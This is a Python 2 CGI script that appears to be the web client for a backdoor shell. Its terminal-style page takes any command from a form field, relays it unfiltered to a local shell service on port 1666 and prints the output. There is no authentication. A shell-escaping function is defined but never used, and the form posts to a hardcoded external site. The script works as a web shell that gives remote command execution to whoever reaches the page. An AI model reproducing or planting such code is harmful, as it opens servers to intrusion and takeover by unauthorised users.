[421] | 1 | #!/usr/bin/env python
|
---|
| 2 | # #sys.path.insert (0,"/var/www/cgi-bin")
|
---|
| 3 |
|
---|
| 4 | import sys
|
---|
| 5 | import os
|
---|
| 6 | import commands
|
---|
| 7 | import cgi
|
---|
| 8 | import traceback
|
---|
| 9 | import string
|
---|
| 10 | import re
|
---|
| 11 | import socket
|
---|
| 12 |
|
---|
| 13 | ROOTPATH="/tmp"
|
---|
| 14 | CGISH_HTML="""<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
---|
| 15 | <html>
|
---|
| 16 | <head>
|
---|
| 17 | <title>Untitled Document</title>
|
---|
| 18 | <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
|
---|
| 19 | <style type=text/css>
|
---|
| 20 | body
|
---|
| 21 | {
|
---|
| 22 | font-family: "Courier New", Courier, mono;
|
---|
| 23 | font-size: 10pt;
|
---|
| 24 | color: #00cc00;
|
---|
| 25 | background-color: #002000;
|
---|
| 26 | }
|
---|
| 27 | .headline {font-size: 18pt}
|
---|
| 28 | a {color: #99ff99; text-decoration: none}
|
---|
| 29 | a:hover {color: #00FF00}
|
---|
| 30 | hr {color: #00ff00}
|
---|
| 31 | .cursor {color:#002000;background-color:#00cc00}
|
---|
| 32 | form {
|
---|
| 33 | font-family: "Courier New", Courier, mono;
|
---|
| 34 | color: #00CC00;
|
---|
| 35 | background-color: #003300;
|
---|
| 36 | }
|
---|
| 37 | input {
|
---|
| 38 | font-family: "Courier New", Courier, mono;
|
---|
| 39 | color: #00CC00;
|
---|
| 40 | background-color: #003300;
|
---|
| 41 | padding: 3px;
|
---|
| 42 | border: 0;
|
---|
| 43 | }
|
---|
| 44 | textarea {
|
---|
| 45 | font-family: "Courier New", Courier, mono;
|
---|
| 46 | color: #00CC00;
|
---|
| 47 | background-color: #003300;
|
---|
| 48 | }
|
---|
| 49 | </style>
|
---|
| 50 | <script language="JavaScript">
|
---|
| 51 | function firstFocus()
|
---|
| 52 | {if (document.forms.length > 0)
|
---|
| 53 | {var TForm = document.forms[0];
|
---|
| 54 | for (i=0;i<TForm.length;i++){
|
---|
| 55 | if ((TForm.elements[i].type=="text")||
|
---|
| 56 | (TForm.elements[i].type=="textarea")||
|
---|
| 57 | (TForm.elements[i].type.toString().charAt(0)=="s"))
|
---|
| 58 | {document.forms[0].elements[i].focus();break;}}}}
|
---|
| 59 | </script>
|
---|
| 60 | </head>
|
---|
| 61 |
|
---|
| 62 | <body onLoad="firstFocus()">
|
---|
| 63 | <pre>%(SHELL_OUTPUT)s</pre>
|
---|
| 64 | <form action="http://www.chocho.org/cgi-bin/bd_client_web.py" method="POST">
|
---|
| 65 | <input name="command" type="text" size="80"><br>
|
---|
| 66 | <hr noshade="1">
|
---|
| 67 | <input name="submit" type="submit" value="Enter">
|
---|
| 68 | <input name="ctrl_c" type="submit" value="CTRL-C">
|
---|
| 69 | <input name="ctrl_d" type="submit" value="CTRL-D">
|
---|
| 70 | <input name="ctrl_z" type="submit" value="CTRL-Z">
|
---|
| 71 | <input name="esc" type="submit" value="ESC">
|
---|
| 72 | <input name="refresh" type="submit" value="REFRESH">
|
---|
| 73 |
|
---|
| 74 | </form>
|
---|
| 75 |
|
---|
| 76 | </body>
|
---|
| 77 | </html>
|
---|
| 78 | """
|
---|
| 79 | def page (result = ''):
|
---|
| 80 | """Return the main form"""
|
---|
| 81 | return CGISH_HTML % {'SHELL_OUTPUT':result}
|
---|
| 82 |
|
---|
| 83 | def bd_client (command, host='localhost', port = 1666):
|
---|
| 84 | HOST = 'localhost' # The remote host
|
---|
| 85 | PORT = 1666 # The same port as used by the server
|
---|
| 86 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
---|
| 87 | s.connect((HOST, PORT))
|
---|
| 88 | s.send(command)
|
---|
| 89 | data = s.recv (1920)
|
---|
| 90 | s.close()
|
---|
| 91 | return data
|
---|
| 92 |
|
---|
| 93 | #fout = file ('/tmp/log2','w')
|
---|
| 94 | #fout.write (command)
|
---|
| 95 | #fout.write ('\n')
|
---|
| 96 | # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
---|
| 97 | # s.connect((host, port))
|
---|
| 98 | # s.send(command)
|
---|
| 99 | # data = s.recv(1024)
|
---|
| 100 | #fout.write (data)
|
---|
| 101 | #fout.write ('\n')
|
---|
| 102 | # s.close()
|
---|
| 103 | #fout.close()
|
---|
| 104 | # return data
|
---|
| 105 |
|
---|
| 106 | #def link (matchobject):
|
---|
| 107 | # """Used in re.sub calls to replace a matched object with an HTML link."""
|
---|
| 108 | # path = matchobject.group(0)
|
---|
| 109 | # l = "<a href=\"http://63.199.26.227/cgi-bin/ls.py?root=%s&path=%s\">%s</a>" % \
|
---|
| 110 | # (ROOTPATH+"/"+path, ROOTPATH+"/"+path, path)
|
---|
| 111 | # return l
|
---|
| 112 |
|
---|
| 113 | def escape_shell_meta_chars(s):
|
---|
| 114 | """Escape shell meta characters. This is done for security."""
|
---|
| 115 | s = string.replace(s, "\\", "\\\\")
|
---|
| 116 | s = string.replace(s, "`", "\\`")
|
---|
| 117 | s = string.replace(s, " ", "\\ ",)
|
---|
| 118 | s = string.replace(s, "&", "\\&",)
|
---|
| 119 | s = string.replace(s, ";", "\\;",)
|
---|
| 120 | s = string.replace(s, "\"", "\\\"",)
|
---|
| 121 | s = string.replace(s, "\'", "\\'",)
|
---|
| 122 | s = string.replace(s, "|", "\\|",)
|
---|
| 123 | s = string.replace(s, "*", "\\*",)
|
---|
| 124 | s = string.replace(s, "<", "\\<",)
|
---|
| 125 | s = string.replace(s, ">", "\\>",)
|
---|
| 126 | return s
|
---|
| 127 |
|
---|
| 128 | sys.path.insert (0,"/usr/local/apache/cgi-bin")
|
---|
| 129 | sys.stderr = sys.stdout
|
---|
| 130 |
|
---|
| 131 | print "Content-type: text/html"
|
---|
| 132 | print
|
---|
| 133 |
|
---|
| 134 | try:
|
---|
| 135 | form = cgi.FieldStorage()
|
---|
| 136 | if form.has_key("command"):
|
---|
| 137 | command = form["command"].value
|
---|
| 138 | result = bd_client (command)
|
---|
| 139 | print page(result)
|
---|
| 140 | else:
|
---|
| 141 | print page()
|
---|
| 142 |
|
---|
| 143 | except:
|
---|
| 144 | print "\n\n<pre>"
|
---|
| 145 | traceback.print_exc()
|
---|
| 146 | print "</pre>"
|
---|
| 147 |
|
---|
| 148 |
|
---|